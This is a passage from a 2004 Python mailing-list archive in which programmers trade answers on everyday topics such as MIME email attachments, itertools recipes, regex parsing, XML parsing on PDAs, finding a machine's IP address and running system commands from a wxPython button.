<87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <74m9j05av6cjpd4fs1mlatgmvlq98l9rmc@4ax.com> Message-ID: arargh407NOSPAM at NOW.AT.arargh.com writes: > On Tue, 31 Aug 2004 17:43:34 GMT, red floyd wrote: > >>CBFalconer wrote: >> >>> Dump Notepad and get Textpad. www.textpad.com. First class. >>> >> >>Let the editor flame wars begin! >> >>Get gvim! www.vim.org > > WordPerfect PE or later ED. No longer sold, AFAIK. Office68. Look for an LPROM on ebay. -- M?ns Rullg?rd mru at mru.ath.cx From domma at procoders.net Fri Sep 10 08:58:21 2004 From: domma at procoders.net (Achim Domma (Procoders)) Date: Fri, 10 Sep 2004 14:58:21 +0200 Subject: MIMEMultipart cuts attached file Message-ID: Hi, I try to send a mulitpart email, which should have a body and two attached files: a html file and a zip file. My code looks like this: msg=MIMEMultipart() msg['From']=sender msg['To']='; '.join(recipients) msg['Subject']=subject msg.epilogue='' html=file(reportFile,'rb').read() report=MIMEText(html,'html') report.add_header('Content-Disposition','attachment',filename=reportFile) msg.attach(report) data=file(diffFile,'rb').read() diff=MIMEBase('application','zip') diff.set_payload(data) encode_base64(diff) diff.add_header('Content-Disposition','attachment',filename=diffFile) msg.attach(diff) text=MIMEText("the body text",'plain') msg.attach(text) smtp=smtplib.SMTP('pop_server') smtp.set_debuglevel(0) smtp.sendmail(sender,recipients,msg.as_string()) smtp.quit() The body of the mail is ok and the zip archive is also valid, but the end of the html is cut of most of the time. Any hints what I'm doing wrong? regards, Achim From belred1 at yahoo.com Tue Sep 14 00:47:56 2004 From: belred1 at yahoo.com (Bryan) Date: Tue, 14 Sep 2004 04:47:56 GMT Subject: string % dictionary question In-Reply-To: References: Message-ID: <414677FB.4070705@yahoo.com> Sam Sungshik Kong wrote: > Thanks for the reply. > > What if the string is more complicated? > For example, > > di = {} > di["name"] = "Sam" > di["age"] = None > s = "name: %(name)s, age: %(age)d" % di > > Thanks. > > Sam > instead of setting di['age'] to None, set it to empty string. if you are setting di['age'] with a variable then you can insure that you use an empty string for None by doing something like this: di['age'] = somevar or '' bryan From jerf at jerf.org Wed Sep 1 12:03:32 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 01 Sep 2004 16:03:32 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: On Wed, 01 Sep 2004 06:13:09 +0000, Antoon Pardon wrote: > If you need a function or class just to avoid nesting, then IMO > you have only camoeflaged it. If you are dividing your function merely on nesting grounds, you've missed the point. You'll find that if you do this correctly, you code more quickly, test more easily, and after practicing for a couple of years you will never again have the situation where you say to yourself "Gee, I'd really like to use that functionality over there, but it is so wrapped up in other extraneous garbage that it is easier to (do it from scratch/copy and paste/live without it)." If you're dissing it, you haven't tried it. Why don't you try it for a while? Deeply nested functions are *bad*; continual use of them as an employee of mine would be a firing offense (after suitable warnings), on the grounds that code so produced has very limited worth compared to what it should have. Deeply nested functions are harder to understand, harder to debug, harder to re-use, harder to modify, harder to test, and all this and no advantages, too! From __peter__ at web.de Sat Sep 4 13:05:38 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 04 Sep 2004 19:05:38 +0200 Subject: A little stricter type checking References: <5_MZc.5808$w%6.5000@newsread1.news.pas.earthlink.net> Message-ID: Andrew Dalke wrote: [examples of isinstance() usage in the standard library] > The only examples I found along the lines you wanted were > in pickletools.py, copy.py, sets.py, and warnings.py. > It just isn't needed that often in Python programming. There are at least three more idioms that could (sometimes) be replaced by type-checking: # "casting" s = str(s) it = iter(seq) # check for an "interface" try: lower = s.lower except AttributeError: raise TypeError else: lower() # check for an "interface", LBYL-style if not hasattr(foo, "bar"): raise TypeError These are more difficult to hunt and I'm lazy. However, I don't think you can tell from the structure alone whether an explicit type declaration would be a superior solution in these cases. Should Python be extended to allow type declarations, I expect them to appear in places where they reduce the usefulness of the code while claiming to make it safe... Peter From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Wed Sep 22 19:32:16 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 00:32:16 +0100 Subject: good way to do side effects on lists? In-Reply-To: <415208a1$1_4@news3.es.net> References: <415208a1$1_4@news3.es.net> Message-ID: Danny Shevitz wrote: > A minor stylistic question: Is there a better way to do: > > for thing is myList: > myFunc(thing) That seems like the best way to do it to me. It's very clear what it means and any alternative techniques are of questionable benefit. > map is close, but returns a list, which is wasted. I'm purely using side > effects and the lists are large. If you really wanted a one-liner import itertools class Dummy(object): pass Dummy() in itertools.imap(myFunc, myList) # exhausts the iterable since your new Dummy instance will never be in the list But with all that set-up it's not really a one-liner. And what's wrong with your first proposal anyway? -- Michael Hoffman From vze4rx4y at verizon.net Thu Sep 23 13:45:02 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 23 Sep 2004 17:45:02 GMT Subject: for_some(), for_all()? References: <2Pt4d.5569$sa.1897@trndny05> Message-ID: [Michael Hoffman] > Nice! I've always found the itertools examples exceptionally useful. Is > there a reason why they aren't in the standard library? I find myself > copying and pasting the snippets all the time. [Michele Simionato] > I always wondered why "any" and "all" are given as recipes but are not > part of the itertools module. What is the rationale? > I think they are so common that they deserve to be in the module. > At least, we would have standard names. Random thoughts on itertools recipes and module design: * The recipes are formatted to make it easy to paste the whole thing into a module (it's already there for the taking). * Adding more tools to the basic set makes the module itself harder to learn. I theorize that the difficulty of creating a new composite tool grows exponentially with the number of available fundamental building blocks. * The recipes have as much value as a teaching tool as they do for practical applications. Study the page of recipes and you've mastered itertools for life. * Once in the standard library, the API is set in concrete. But as part of the docs, I'm free to backport, improve variable names, improve function names, substitute alternate approaches, and drop recipes that don't prove themselves in battle. * Publishing the recipes is a step toward standardizing the naming and collecting best practices. IOW, we already get some of the benefits without having to include the functions in the standard library. * If included in the library, some of the functions would grow more complex. For example, the pred=bool default needs to be followed by "if pred is bool: pred=None" to take advantage of the ifilter's faster internal call to bool. * Until now, there has been no popular demand. If the demand grows, I'll oblige and include some of them in Py2.5. I prefer to be careful. Being conservative about what goes in the module has contributed substantially to its success. * Some derived tools like padnone() arise infrequently and are rarely the right solution for a problem (not many functions respond well to a data stream where one field suddenly starts yielding None). This function takes more than a modicum of skill to use correctly. It is there to show how it is done and to provide an iterator solution for folks relying on map()'s None fill-in feature. IOW, it is not deserving of being in the standard library. * Leaving the derived tools as recipes creates a sense that that more combinations are open for invention. Putting them in the module suggests that the problem is closed. This of course isn't strictly true, but it does affect the mood. Raymond Hettinger From abra9823 at mail.usyd.edu.au Tue Sep 7 06:01:12 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 7 Sep 2004 20:01:12 +1000 Subject: python from Java In-Reply-To: References: Message-ID: <1094551272.413d86e88ab2a@www-mail.usyd.edu.au> Quoting Alan Kennedy : > [Ajay ] > >>>can you call a Python application from a Java program? > > [Alan Kennedy] > >>Define what you mean by "call a python application". > > [Ajay] > > they are on the same machine. > > basically there is an application that does some user modelling and > its in > > Python. the application (bunch of .py scripts) have an interface that > you > > use to access user models. > > OK, so you have a cpython application which is already running on your > PDA. Presumably this "interface" you mention is a graphical interface, > i.e. GUI? What graphics toolkit is this GUI written with? TkInter? > > > the java app will simply do some xml stuff at the end of which it will > > access the user model through the interface. > > OK, so you want to process your (P3P?) xml files in java, which will > extract data and then use that to somehow drive your cpython > application? > > > basically what i'd like to know is if i have > > #test.py > > def foo(blah): > > return blah += 5 > > OK, doing the above would be easy, if you could run jython on your PDA. > You would just use jython to interpret the function instead of cpython, > and everything would live inside the same virtual machine, which would > be nice and tidy. > > However, it's very likely that your PDA has J2ME, i.e. Java 2 Micro > Edition, in which case you won't be able to run jython, which requires > facilities that J2ME doesn't support namely reflection. If you PDA has > any other version of java, you could run jython. > > But that wouldn't be any use to you in the case of your standalone > cpython GUI application anyway, since it is pretty much guaranteed that > the GUI code in your cpython code is cpython specific, and won't run on > jython anyway. > > > can i call foo from a Java class? more importantly what would i need > to > > install on the machine to be able to do that. the machine in question > is a > > PDA so there are some limitations on what can be installed and made to > run > > on it. Python runs and so does Java. > > Assuming that my assumptions about cpython GUIs and J2ME are correct, > here are some options you might consider. > > 1. Somehow drive your cpython GUI by having your java program generate > the relevant UI events, e.g. generate mouse-clicks, key-presses, etc. > This is a common GUI testing technique. A product that does this on > Windows is "autoit". I don't know if this will work on your windows PDA: > if not there are probably similar products. > > 2. Connect your apps using something like pyro or CORBA. Pyro > "transports function/method calls" over a socket, from a server to a > client, and then returns the results over the same socket. If your PDA > supported J2ME, you could use a pyro server on the cpython end, talking > to a client on java end. But without J2ME, you can't use pyro on the > client end. Which leaves CORBA, which should be well supported on both > ends, but a bit more difficult to get your head around: i.e. you'll have > a learning curve to climb to get it working. If this approach interests > you, google "fnorb" or "omniorb python". > > 3. If CORBA is too complex for you, roll your own "wire protocol", > basically your own simple protocol to communicate between cpython and > java. Using this trategy, open some form of communication channel > between the two programs, e.g. socket, pipe, fifo, etc, and send > commands/messages between the two ends. > > Having seen your posts here and on the Python-CE list over the last few > days, I can see that this problem is proving complex for you. I would > urge you to stop looking at every technology on your PDA and trying to > figure out how to glue them together. > > I think you should focus on being able to process your XML in cpython, > i.e. try to keep all your technology in the same language and in the > same process. You're overly complicating it otherwise. > > I think the best solution for you is to use and event-based python > parser to parse your XML. Event based-based parsing, e.g. SAX, is > generally pretty quick, even when it is written in pure python. The > slowness you have been experiencing (I saw 10 minutes for pxdom to parse > your xml files?) is because you're trying to build a DOM, i.e. a > Document Object Model. DOM's are *huge* memory hogs, requiring very > substantial amounts of memory and cpu to build, and in most cases are > completely unsuitable for the problem at hand. > > What you should consider is building your own object model, based on the > events generated by your SAX parser. Although this sounds hard, it is > actually extremely easy, as this ActiveState cookbook entry shows. > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368 > > There are also multiple cpython products which will build a python > object model from XML events: all of these should be comparatively cpu > and memory efficient. > > Objectify > http://gnosis.cx/download/gnosis/xml/objectify > > Anobind > http://uche.ogbuji.net/tech/4Suite/anobind/ > > ElementTree > http://effbot.org/downloads/#elementtree okay i tried the above approaches but no luck. See the problem is an XML parser which works on a PDA - pythonce. Now elementtree uses pyexpat (which pythonce doesn't have), objectify just needs expat which i dont have either and anobind needs 4Suite - there is no port for it to a PDA. so i am back to where i was earlier. looking for a reasonably fast and efficient xml parser that works on a PDA (DOM or SAX, i dont care) cheers > > Try out an approach like the one above: it will greatly simplify your > life. And it should be reasonably efficient in execution time. > > If none of the above works for you, post back again. > > regards, > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From nun at example.com Tue Sep 7 04:56:51 2004 From: nun at example.com (Mitja) Date: Tue, 7 Sep 2004 10:56:51 +0200 Subject: run a python script located on linux from a windows computer References: <2cbc7d61.0409070012.3b163cc@posting.google.com> Message-ID: jacques (news:2cbc7d61.0409070012.3b163cc at posting.google.com) wrote: > hello everybody > > i have a computer with redhat linux. on this computer i > have some python scripts i want to run. i don't want to > run them with linux but with windows. so i have a second > computer (win) with python installed. how can i lauch the > script on the linux? > > python myscript.py 192.168.1.1? First, your system has to be able to access the file on Linux - this obviously has nothing to do with Python. What you need is a Samba server running on your Linux box. It will then be accessible via the "Network Neighbourhood" icon on your desktop. Once you've got that, you can do something like python \\mylinuxbox\py_proggies\myscript.py From cawlfiel at uiuc.edu Fri Sep 10 00:35:14 2004 From: cawlfiel at uiuc.edu (Topher Cawlfield) Date: Fri, 10 Sep 2004 04:35:14 GMT Subject: Akward code using multiple regexp searches Message-ID: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> Hi, I'm relatively new to Python, and I already love it even after several years of writing Perl. But a few times already I've found myself writing the following bit of awkward code when parsing text files. Can anyone suggest a more elegant solution? rexp1 = re.compile(r'blah(dee)blah') rexp2 = re.compile(r'hum(dum)') for line in inFile: reslt = rexp1.search(line) if reslt: something = reslt.group(1) else: reslt = rexp2.search(line) if reslt: somethingElse = reslt.group(1) I'm getting more and more nested if statements, which gets ugly and very hard to follow after the fourth or fifth regexp search. Equivalent Perl code is more compact but more importantly seems to communicate the process of searching for multiple regular expressions more clearly: while () { if (/blah(dee)blah/) { $something = $1; } elsif (/hum(dum)/) { $somethingElse = $1; } } I'm a little bit worried about doing the following in Python, since I'm not sure if the compiler is smart enough to avoid doing each regexp search twice: for line in inFile: if rexp1.search(line) something = rexp1.search(line).group(1) elif rexp2.search(line): somethingElse = rexp2.search(line).group(1) In many cases I am worried about efficiency as these scripts parse a couple GB of text! Does anyone have a suggestion for cleaning up this commonplace Python code construction? Thanks, Topher Cawlfield From nicoe at altern.org Thu Sep 9 15:57:17 2004 From: nicoe at altern.org (Nicolas =?iso-8859-15?Q?=C9vrard?=) Date: Thu, 9 Sep 2004 21:57:17 +0200 Subject: Best way to get ip address In-Reply-To: <200409091207.55336.bulliver@badcomputer.no-ip.com> References: <200409091207.55336.bulliver@badcomputer.no-ip.com> Message-ID: <20040909195717.GB10901@smarties.nutellux.ath.cx> * Darren Kirby [21:07 09/09/04 CEST]: >Hello list: > >I am writing a small app in python which tracks the kernel banner at >kernel.org and downloads newer kernel version(s) (if there are any). > >I am using GeoIP to set the download to a local mirror if there is one. This >is what I use to get the local IP address: > >ip = socket.gethostbyaddr(socket.gethostname()) ># returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) >ip = str(ip[2]) ># returns: "['192.168.0.2']" >ip = ip[2:-2] ># returns: '192.168.0.2' Why don't you use ip = ip[2][0] ? -- (?> Nicolas ?vrard / ) Li?ge - Belgique ^^ From bradtilley at usa.net Thu Sep 9 02:05:05 2004 From: bradtilley at usa.net (Brad Tilley) Date: Thu, 09 Sep 2004 02:05:05 -0400 Subject: Machine identification In-Reply-To: References: Message-ID: Greg Lindstrom wrote: > How can I get the name (or ip) of the machine where my python script is > running? I'd like to add it to my log entry. > > Thanks, > > --greg > > Greg Lindstrom (501) 975-4859 > NovaSys Health greg.lindstrom at novasyshealth.com > > "We are the music makers, and we are the dreamers of dreams" W.W. You might also consider getting this info from the Windows registry if you're running a Windows PC: This code: #------------------------------------------------- from _winreg import * def list_run_at_boot(): run_key = r"SYSTEM\ControlSet001\Services\{A9A76D2B-8D75-413F-A2F1-013095F2B61C}\Parameters\Tcpip" open_run_key = OpenKey(HKEY_LOCAL_MACHINE, run_key, 0, KEY_READ) print "Name \t Value\n" for i in range (10000): try: n,v,t = EnumValue(open_run_key, i) print n, "\t", v except EnvironmentError: print "\nThere are", i, "values under this key." break CloseKey(open_run_key) list_run_at_boot() #--------------------------------------------------- Produces this output: #--------------------------------------------------- Name Value EnableDHCP 1 IPAddress [u'0.0.0.0'] SubnetMask [u'0.0.0.0'] DefaultGateway [] DhcpIPAddress 192.168.1.100 DhcpSubnetMask 255.255.255.0 DhcpServer 192.168.1.1 Lease 86400 LeaseObtainedTime 1094701976 T1 1094745176 T2 1094777576 LeaseTerminatesTime 1094788376 DhcpDefaultGateway [u'192.168.1.1'] DhcpSubnetMaskOpt [u'255.255.255.0'] There are 14 values under this key. #--------------------------------------------------- Best of luck, Brad From skip at pobox.com Tue Sep 7 14:16:44 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 13:16:44 -0500 Subject: gc.get_referrers trouble In-Reply-To: References: Message-ID: <16701.64268.894810.447104@montanaro.dyndns.org> Diez> import gc Diez> a = [1] Diez> print gc.get_referrers(1) Diez> Running that from bash gives me this: Diez> # python /tmp/test.py | wc Diez> 23 7196 67165 Diez> Now I'm confused - how do I interpret the results of Diez> get_referrers() correctly? Try your test with an object that's not massively shared: % python Python 2.4a2 (#46, Aug 29 2004, 08:53:23) [GCC 3.3 20030304 (Apple Computer, Inc. build 1493)] on darwin Type "help", "copyright", "credits" or "license" for more information. import>>> import gc >>> a = [1000] >>> print gc.get_referrers(1000) [(1000, None)] CPython maintains a list of small integers (range(-1, 100) I believe) that are reused and shared. Skip From pfortin at pfortin.com Fri Sep 10 18:13:38 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 18:13:38 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <20040910114048.4c68a21c@gypsy.pfortin.com> <1gjx7qu.1rhsiun1grmnzlN%aleaxit@yahoo.com> Message-ID: <20040910181338.0e3adcb5@gypsy.pfortin.com> On Fri, 10 Sep 2004 23:39:26 +0200 Alex wrote: > Pierre Fortin wrote: > "Special cases are not special enough to break the rules"... Touche' > > > it IS a Python oddity that True+False > > > equals 1;-). > > > > That's OK with me... it was True+True equals *1* (OR v. +) that > > forced me to wrap them with int()'s > > Nope: > > >>> True+True > 2 > > so I'm not sure what you mean...? My bad... burned by operator priority... Change=change[float(AdjClose) >= float(Open) + float(AdjClose) == float(Open) ] should read: Change=change[(float(AdjClose) >= float(Open)) + (float(AdjClose) == float(Open)) ] > So, in production code, I think I'd eschew this cleverness and rather > take the boilerplate hit. Simplicity never comes easy to those of us > who are born with a tortuous mind, but it's still worth striving for! Amen.... I've been too clever in the past so I'll agree and leave the boilerplate... Thanks! Pierre -30- From clifford.wells at comcast.net Fri Sep 10 23:00:47 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Fri, 10 Sep 2004 20:00:47 -0700 Subject: Executing system commands with wxpython In-Reply-To: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: <1094871647.24836.2.camel@devilbox.devilnet.internal> On Fri, 2004-09-10 at 13:02 -0400, twsnnva wrote: > Could anyone give me an example (code) of a simple program with a button > that when clicked executes a linux shell or windows dos command like > "ifconfig" or "ipconfig" and prints the output somewhere in the same > window. Thanks. > Building on Peter's example, here's a bit more sophisticated example: import wx, os if '__WXMSW__' in wx.PlatformInfo: PRESETS = [ 'ipconfig', ] else: PRESETS = [ '/sbin/ifconfig', ] class MyPanel(wx.Panel): def __init__(self, parent, id): wx.Panel.__init__(self, parent, id) sizer = wx.BoxSizer(wx.VERTICAL) self.SetSizer(sizer) self.output = wx.TextCtrl(self, -1, style = wx.TE_MULTILINE) sizer2 = wx.BoxSizer(wx.HORIZONTAL) runButton = wx.Button(self, -1, "Run Command") self.Bind(wx.EVT_BUTTON, self.OnClick, runButton) self.command = wx.ComboBox(self, -1, choices = PRESETS) sizer2.AddMany([ (self.command, 1, wx.ALL, 5), (runButton, 0, wx.ALL, 5), ]) sizer.AddMany([ (self.output, 1, wx.EXPAND | wx.ALL, 5), (sizer2, 0, wx.EXPAND), ]) def OnClick(self, event): cmd = self.command.GetValue() if cmd: input, output, errors = os.popen3(cmd) errors = errors.read() if errors: dlg = wx.MessageDialog(self, errors, 'An error occurred', wx.OK | wx.ICON_EXCLAMATION) dlg.ShowModal() self.output.SetValue('') else: self.output.SetValue(output.read()) class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, -1, 'Test') p = MyPanel(self, -1) self.Show(True) if __name__ == '__main__': app = wx.PySimpleApp() frame = MyFrame() app.MainLoop() Regards, Cliff -- Cliff Wells From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 14:30:01 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 19:30:01 +0100 Subject: spliting a list by nth items In-Reply-To: References: Message-ID: Larry Bates wrote: > I believe you meant somthing like: > > non_nth_items = [items[i-1] for i in range(1,len(items)-1) if i % n] > > I don't think the "if x % n" won't work on his list of items D'oh! I wasn't thinking--the test list of items I used was range(something), so of course it worked. What I meant was: non_nth_items = [x for index, x in enumerate(items) if index % n] Thanks for the correction. -- Michael Hoffman From mwilson at the-wire.com Tue Sep 7 00:46:13 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Tue, 07 Sep 2004 00:46:13 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: In article , Roy Smith wrote: >So, to restate my original question, why should my mutable, >content-based-eqality class instance be a valid dictionary key, when a >list is not? Which part of a list's behavior makes it inherently >unusable as a key? I'm not asking about design philosophy, I'm asking >about observable behavior. a = [1,2,3,4,5] D = {a:'First five natural numbers'} The hash of the list should be based on value, so that after b = [1,2,3,4,5] c = D[b] c would be 'First five natural numbers', even though b is not the same object as a. Now suppose a.append(6) What then happens on e = D[b] b no longer equals a, so the existing dictionary item can't match b as a dictionary key. Moreover, the relevant dictionary item is filed under hash([1,2,3,4,5]) and not under hash([1,2,3,4,5,6]), so trying to access D with a key equal to the appended-to value of a won't hash to the right place to find a's item. Trouble. If you roll your own hashable class, it's assumed you have thought about these issues. Regards. Mel. From shalabh at cafepy.com Thu Sep 2 20:36:25 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Thu, 02 Sep 2004 17:36:25 -0700 Subject: initializing mutable class attributes In-Reply-To: References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: Dan Perl wrote: > I will be a good Pythoneer/Pythonista and I will invoke parent __init__'s > whenever using a library. My concern was not as a library user, but as a > library developer. In which case I don't like the idea of relying on users > to be good Python coders. Don't worry about that - just send them to c.l.py and here we'll badger them till they succumb and promise to call their parent __init__s properly . Seriously though, I think it's part of Python ideology to trust the programmer a little more. Notice no private or protected members. Keeping things explicit and not implicit such as in this case trains users very quickly. They'll remember to call the parent __init__, or figure out very quickly when it doesn't work (hopefully with useful error messages). If things were happening behind the scenes, users will have a hard time finding out what's going on when it does not work as expected. Or if they are power users and want to tweak something, they'll may have to burrow around quite a bit. That said, in cases it may actually be useful to do certain things automatically. After all, making life easier for the user is certainly a good thing. IMO, it's important to accomodate needs of all kinds of users, but not their fancies. From what I've seen, that seems to be the way Python itself is developed. Just my $0.02. Cheers, Shalabh From sbabbitt at commspeed.net Fri Sep 10 09:44:19 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Fri, 10 Sep 2004 06:44:19 -0700 Subject: wxSizer: Define sizer hierarchie before putting controls in or vice versa? References: <39cbe663.0409050623.5cef2d4d@posting.google.com> Message-ID: <1094824451.433466@news.commspeed.net> "Piet" wrote in message news:39cbe663.0409050623.5cef2d4d at posting.google.com... > Hello, > I have a short question about sizers and how they work when I have a > frame or panel with a complex sizer hierarchie. When creating a new > sizer which sits itself in its parent sizer, should I add the new > sizer to the parent sizer and then populate the new sizer with its > controls (some of them might be sizers on their own) or should I > populate the new sizer with all its controls before I add the new > sizer to its parent sizer? Or doesn?t it make any difference and all > the sizes and sizers are calculated anyways when the > wx.Window.SetSizer(wx.Sizer),wx.Window.SetAutoLayout(True) and > wx.Sizer.Fit(wx.Window) functions are run before before the window is > finally made visible? > Thanx in advance > Peter I like to bunch everything together so its easier to see later. # self.linkpanel = wx.Panel(self.notebook,-1) self.link_thing = LinkListCtrlPanel(self.linkpanel) txtbox = wx.BoxSizer(wx.HORIZONTAL) txtbox.Add(self.link_thing, 2, wx.EXPAND) self.linkpanel.SetSizer(txtbox) self.linkpanel.SetAutoLayout(1) txtbox.Fit(self.linkpanel) self.notebook.AddPage(self.linkpanel, "Links") # Tom From steve at holdenweb.com Sat Sep 18 18:12:18 2004 From: steve at holdenweb.com (Steve Holden) Date: Sat, 18 Sep 2004 18:12:18 -0400 Subject: Cannot get email package to work In-Reply-To: References: Message-ID: Jeff Blaine wrote: > Python 2.3.4 for Windows > > Just trying a simple test today. I clicked on an email message in Mozilla > 1.7.3's mail reader. I selected 'Save As' and saved it as the default > type. > I opened the file with Wordpad to examine it, and sure enough it looks like > a complete email message with headers, newline, and body. > > >>> import email > >>> myfd = open('c:/temp/my-work.eml') > >>> msg = email.message_from_file(myfd) > >>> msg > > >>> msg.get_all('From') > >>> print msg > From nobody Fri Sep 17 17:26:06 2004 > > > >>> msg.keys() > [] > > ? Very strange. I stored your message in the way you described and I see the following (under Cygwin): sholden at DELLBOY ~ $ python Python 2.3.4 (#1, Jun 13 2004, 11:21:03) [GCC 3.3.1 (cygming special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> import email >>> myfd = open("/tmp/test.eml") >>> msg = email.message_from_file(myfd) >>> msg >>> msg.get_all("From") ['Jeff Blaine '] >>> msg.keys() ['Path', 'From', 'User-Agent', 'X-Accept-Language', 'MIME-Version', 'Newsgroups' , 'Subject', 'Content-Type', 'Content-Transfer-Encoding', 'Lines', 'Message-ID', 'NNTP-Posting-Host', 'X-Complaints-To', 'X-Trace', 'NNTP-Posting-Date', 'Organi zation', 'Date', 'Xref', 'X-Received-Date'] >>> Under Windows Python 2.3.3 (#51, Dec 18 2003, 20:22:39), however, I see >>> fd=file("C:\\cygwin\\tmp\\test.eml") >>> msg =- email.message_from_file(fd) Traceback (most recent call last): File "", line 1, in ? AttributeError: Message instance has no attribute '__neg__' which I am somewhat unable to explain. so-now-you-have-two-problems-ly y'rs - steve From ialbert at mailblocks.com Mon Sep 20 12:24:20 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 20 Sep 2004 12:24:20 -0400 Subject: Psycopg and threads problem In-Reply-To: References: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> Message-ID: Istvan Albert wrote: > have a commit at the end of your insert threads. That way > when all the inserts are finished the data will be available > for the combine thread. I forgot this, if the commit after insert is unfeasible you could store the db connections in a data structure shared across threads and if/when all the insert threads complete without errors you can call commit on each of these before the combine thread. Sounds a bit hackish though, just an idea. Istvan. From jjl at pobox.com Mon Sep 20 17:20:16 2004 From: jjl at pobox.com (John J. Lee) Date: 20 Sep 2004 22:20:16 +0100 Subject: Update automation and related issues (was: Python Webstart ?) References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <2r0rq6F12j2qtU1@uni-berlin.de> <414b8774$0$2405$61ce578d@news.syd.swiftdsl.com.au> <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> <3gb322-ui9.ln1@lairds.us> Message-ID: <87vfe8zlgv.fsf@pobox.com> claird at lairds.us (Cameron Laird) writes: [...] > The Tcl community has made fascinating progress on what I call "deploy- > ment" issues. Places to begin reading: , > , and . [...] Not sure, as a user, that I'm a great fan of the mutable program-plus-data-in-a-big-lump concept... - One can usually rely on data files to stay put, and not to start rewriting themselves (well, ok, at least on non-windows OSes ;-/). - Do I want to be forced to back up 10Mb of Python+Metakit every time I back up my data? - Other than that, as a user, why do I care? As a developer, what does this approach offer above tools like py2exe / Installer &c? I am underwhelmed by the idea of dynamic debugging. Seems like a solution looking for a problem. John From abra9823 at mail.usyd.edu.au Mon Sep 20 07:45:01 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Mon, 20 Sep 2004 21:45:01 +1000 Subject: MAC address In-Reply-To: References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> Message-ID: <1095680701.414ec2bd0fb41@www-mail.usyd.edu.au> Quoting Steve Holden : > Ajay wrote: > > Quoting Heiko Wundram : > > > > > [...changing MAC address under Linux ...]> > > > > thanks > > its actually windows that i would like to find out about. > > what i am trying to do is to anonymize client address by picking a > random > > MAC address and using that instead > > > You do understand, I presume, that your MAC address never travels off > your LAN anyway? When packets are routed to other networks they will be > encapsulated by other devices, so while the IP (network-layer) > addressing remains the same over all hops, the originating device's MAC > address is removed the first time the packet is routed. yup. i do understand that and its within the LAN that i would like to anonymize the MAC address. more specifically, within a wireless LAN. i join up a wireless LAN (that does not require you to register a MAC) and would like to communicarte with a service on the network (which sends broadcast beacons advertising itself every now and then, so you know its address) anonymously. anonymously requires that i modify my IP address and MAC address. cheers > > regards > Steve > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From __peter__ at web.de Sat Sep 4 02:06:53 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 04 Sep 2004 08:06:53 +0200 Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> <2prfqoFnv1laU1@uni-berlin.de> Message-ID: Paul Watson wrote: > Many thanks for pointing out File.softspace attribute. However, I get > mixed > results when using it. I am sure there is some logic to it somewhere. It > does not appear to control the end of line. The online doc says that it > controls putting a space -before- another value. The The softspace is normally set 